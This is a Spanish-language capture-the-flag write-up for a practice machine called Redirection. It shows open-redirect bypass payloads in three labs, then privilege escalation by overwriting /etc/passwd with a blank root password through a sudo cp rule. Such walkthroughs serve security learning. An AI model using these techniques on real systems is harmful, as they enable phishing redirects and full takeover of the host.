> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/redirection-write-up.md).

# Redirection write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/GSaEngJQi2tcqqpdvyOC" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/isZwbw1fBCHd0nJDxWH7" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que introducimos la IP de la máquina víctima en el navegador y nos muestra lo siguiente:

<figure><img src="/files/6mGMvjehy3bSsVPjttH7" alt=""><figcaption></figcaption></figure>

Así que para acceder a la máquina víctima primero tenemos que completar todos los laboratorios, esos laboratorios sirven para practicar la vulnerabilidad `Open redirect` .

Una vulnerabilidad de **Open Redirect** ocurre cuando una web o aplicación web permite que los usuarios sean redirigidos a una URL arbitraria sin validación adecuada. Esto puede ser explotado por atacantes para realizar **phishing, robo de credenciales, distribución de malware o redirección a sitios maliciosos**.

## **Laboratorio 1**

En el primer laboratorio encontramos lo siguiente:

<figure><img src="/files/zEDRZFY6872Mix02CloJ" alt=""><figcaption></figcaption></figure>

Observamos que al hacer clic en `Ir a otro sitio` no redirige a `https://www.google.com/`. Si vemos el código fuente vemos que se esta usando una etiqueta `<a>` y para redirigir el tráfico se utiliza el archivo `redirect.php` con el parámetro `url` .

<figure><img src="/files/rB9Y7zGoMkz6lFX1ZMPr" alt=""><figcaption></figcaption></figure>

Por lo tanto si ponemos el la URL lo siguiente `http://172.17.0.2/laboratorio1/redirect.php?url=https://boletuss-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/showtime-write-up` Nos redirigirá a mi write-up de la máquina Showtime.

<figure><img src="/files/thDGv8NhjfWqDIpcMjl0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EYxM1CEN02TbNb6Yf8vJ" alt=""><figcaption></figcaption></figure>

## **Laboratorio 2**

En este segundo laboratorio en un principio vemos que es idéntico al primer laboratorio, ya que el código fuente utiliza lo mismo para redireccionar.

<figure><img src="/files/CodrmwJKMsil2aK92ekZ" alt=""><figcaption></figcaption></figure>

Sin embargo si lo intentamos de la misma forma nos muestra lo siguiente:

<figure><img src="/files/VidPoT5u3wNTF9Gfoatk" alt=""><figcaption></figcaption></figure>

En un principio parece que solo te puede redirigir a google, pero si en vez de lo anterior ponemos `http://www.google.com@youtube.com` vemos que nos funciona:

```plaintext
172.17.0.2/laboratorio2/redirect.php?url=https://www.google.com@youtube.com
```

<figure><img src="/files/jPXK7q5vH3udTFKDfCpM" alt=""><figcaption></figcaption></figure>

Sin embargo vemos que en algunos casos nos aparece una advertencia que nos indica que nos va a redireccionar a `www.youtube.com` con el nombre de usuario `www.google.com`, esto pasa ya que al poner una `@` en la URL toma lo anterior como un nombre de usuario y nos redirige a `www.youtube.com`, sin embargo, como esta técnica se estaba usando para realizar ataques phising, los navegadores modernos impiden redireccionar de está forma o muestran un mensaje de advertencia, como es en mi caso en el navegador de Firefox. También hay que tener en cuenta que estamos evitando la restricción ya que solo se verifica que en la primera URL este `google`.

<figure><img src="/files/IM4TSWjLnnxVUGj1wE6T" alt=""><figcaption></figcaption></figure>

## **Laboratorio 3**

En este laboratorio en principio vemos que se redirige de la misma manera, así que intentamos redireccionar de las anterior manera vemos que nos sale lo siguiente:

<figure><img src="/files/OHogpOAosLqLaNsXT0z4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jJviiXhoeTKsaOYfBnVk" alt=""><figcaption></figcaption></figure>

Como el método anterior no funcionó, probamos ahora otra técnica que consiste en agregar un subdominio, como `beta`, en la URL. La idea es utilizar una estructura como `https://beta.google.com`, donde `"google.com"` aparece dentro del dominio, pero se redirige al subdominio `beta`. Si la validación solo busca `"google.com"` en cualquier parte de la URL sin verificar que sea el dominio principal, este truco podría permitir la redirección a un sitio malicioso.

```plaintext
172.17.0.2/laboratorio3/redirect.php?url=https://beta.google.com
```

<figure><img src="/files/FE0rdktXZJEEorcgw0GT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6nG3ay63DRgGgL2vzY7l" alt=""><figcaption></figcaption></figure>

Ahora vemos que no nos aparece el aviso de antes, por tanto si sería vulnerable a esta técnica.

## **Intrusión a la máquina víctima y escalada de privilegios**

Una vez hayas completado todos los laboratorios, haz clic en `Clic Aquí Cuando hayas Completado los Laboratorios`. Esto te mostrará un usuario, `balu`, y una contraseña, `balulero`, para acceder al servicio SSH.

<figure><img src="/files/NbbVvTwqcTEUpBEIQBE9" alt=""><figcaption></figcaption></figure>

Una vez dentro, si nos vamos al directorio raíz `/` vemos que dentro hay un archivo llamado `secret.bak`, el cual es una copia de seguridad de un archivo llamado secret. Así que hacemos un cat del archivo y vemos lo siguiente:

```bash
cat /secret.bak
```

<figure><img src="/files/HPWX4cSKED2RmX3FE4Dr" alt=""><figcaption></figcaption></figure>

Por lo tanto iniciamos sesión con el usuario `balulito` y contraseña `balulerochingon` y ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar el binario `/bin/cp` como cualquier usuario sin necesidad de contraseña.

```bash
su balulito
sudo -l
```

<figure><img src="/files/X7l5rhKZ8YpY5mJg9X63" alt=""><figcaption></figcaption></figure>

Ahora, vamos a crear un archivo el cual contenga lo siguiente:

```plaintext
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balu:x:1000:1000:balu,,,:/home/balu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
balulito:x:1001:1001:balulito,,,:/home/balulito:/bin/bash
```

Y ahora vamos copiar ese archivo como `/etc/passwd`, para que así no nos pida contraseña al intentar iniciar sesión como usuario `root` ya que quitamos la `x` la cual representa la contraseña.

```bash
sudo /bin/cp archivo /etc/passwd
```

<figure><img src="/files/2IIu6rxsMBCtxUicTwU3" alt=""><figcaption></figcaption></figure>

Finalmente, solo tenemos ejecutar el comando `su` para obtener un shell con privilegios elevados.

<figure><img src="/files/4t1koAioaCpwngeunU1c" alt=""><figcaption></figcaption></figure>
